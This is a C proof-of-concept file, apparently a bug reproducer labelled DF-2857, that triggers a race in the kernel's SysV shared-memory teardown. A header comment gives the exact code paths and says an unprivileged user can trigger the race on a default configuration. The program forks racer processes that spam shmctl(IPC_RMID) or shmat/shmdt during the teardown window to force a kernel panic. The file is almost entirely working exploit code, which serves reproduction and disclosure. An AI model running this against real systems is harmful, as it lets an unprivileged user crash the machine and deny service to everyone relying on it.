DF-2857 / shm_teardown_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * DF-2857 — SysV shm teardown-window race: shm_deallocate_segment() keeps * the segment findable (shm_perm.mode & SHMSEG_ALLOCATED) for the whole * duration of its own blocking teardown (vm_object_deallocate -> * vm_object_terminate frees every page, lwkt_user_yield() every 64 pages * at sys/vm/vm_object.c:932 forces shm_token release). A second * IPC_RMID for the same shmid (shm_allow_removed=1, the default, makes * find_segment_by_shmid return the mid-teardown segment) re-enters * shm_deallocate_segment() and calls vm_object_deallocate() on the same * object whose ref_count is already 0 -> * panic("vm_object_deallocate: object deallocated too many times") * (sys/vm/vm_object.c:690, unconditional). * * Per iteration: * main: shmget(IPC_PRIVATE, SEGSIZE, 0600) * shmat + memset (fault all pages in) + shmdt [nattch == 0] * hand shmid to the racer processes * racers: spam shmctl(shmid, IPC_RMID) until it errors. * The first RMID starts the (long) teardown of the big object; * every subsequent RMID that lands before * shm_deallocate_segment():193 sets SHMSEG_FREE double-deallocs. * * mode "shmat": racers spam shmat()+shmdt() instead; a shmat landing in * the window does vm_object_reference_locked() on the dying object -> * panic("vm_object_terminate(2): object with references") * * Unprivileged (segment owner; forked racers share the uid). Default * kernel config (kern.ipc.shm_use_phys=1, kern.ipc.shm_allow_removed=1). */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef SEGSIZE #define SEGSIZE (192UL << 20) /* 48k pages -> ~768 yield points */ #endif #ifndef ITERS #define ITERS 400 #endif #define NRACERS 2 static const char *mode = "rmid"; static void racer(int wfd, int rfd) { char buf[32]; int shmid, n; void *va; for (;;) { n = read(wfd, buf, sizeof(buf) - 1); if (n <= 0) _exit(0); buf[n] = 0; shmid = atoi(buf); if (shmid < 0) _exit(0); if (strcmp(mode, "shmat") == 0) { for (;;) { va = shmat(shmid, NULL, 0); if (va == (void *)-1) break; shmdt(va); } } else { for (;;) { if (shmctl(shmid, IPC_RMID, NULL) < 0) break; } } if (write(rfd, "D", 1) != 1) _exit(0); } } int main(int argc, char **argv) { long iters = ITERS, it; int shmid, i, n; int wpipe[NRACERS][2], rpipe[NRACERS][2]; pid_t pid; char *va, buf[32]; if (argc > 1) mode = argv[1]; if (argc > 2) iters = atol(argv[2]); if (argc > 3) errno = 0, (void)0; fprintf(stderr, "DF-2857 shm teardown-window race: mode=%s " "segsize=%lu iters=%ld racers=%d\n", mode, SEGSIZE, iters, NRACERS); for (i = 0; i < NRACERS; i++) { if (pipe(wpipe[i]) || pipe(rpipe[i])) { perror("pipe"); exit(1); } pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid == 0) { close(wpipe[i][1]); close(rpipe[i][0]); racer(wpipe[i][0], rpipe[i][1]); _exit(0); } close(wpipe[i][0]); close(rpipe[i][1]); } for (it = 1; it <= iters; it++) { shmid = shmget(IPC_PRIVATE, SEGSIZE, 0600); if (shmid < 0) { fprintf(stderr, "[%ld] shmget: %s\n", it, strerror(errno)); break; } va = shmat(shmid, NULL, 0); if (va == (void *)-1) { fprintf(stderr, "[%ld] shmat: %s\n", it, strerror(errno)); break; } memset(va, 0x41, SEGSIZE); if (shmdt(va) < 0) { fprintf(stderr, "[%ld] shmdt: %s\n", it, strerror(errno)); break; } fprintf(stderr, "[%ld] shmid=%d touched+detached, " "racing teardown\n", it, shmid); n = snprintf(buf, sizeof(buf), "%d", shmid); for (i = 0; i < NRACERS; i++) { if (write(wpipe[i][1], buf, n) != n) exit(1); } for (i = 0; i < NRACERS; i++) { if (read(rpipe[i][0], buf, 1) != 1) exit(1); } if (shmctl(shmid, IPC_RMID, NULL) == 0) fprintf(stderr, "[%ld] NOTE: main had to rmid\n", it); } fprintf(stderr, "completed %ld iterations without panic\n", it - 1); for (i = 0; i < NRACERS; i++) close(wpipe[i][1]); for (i = 0; i < NRACERS; i++) wait(NULL); return (0); } |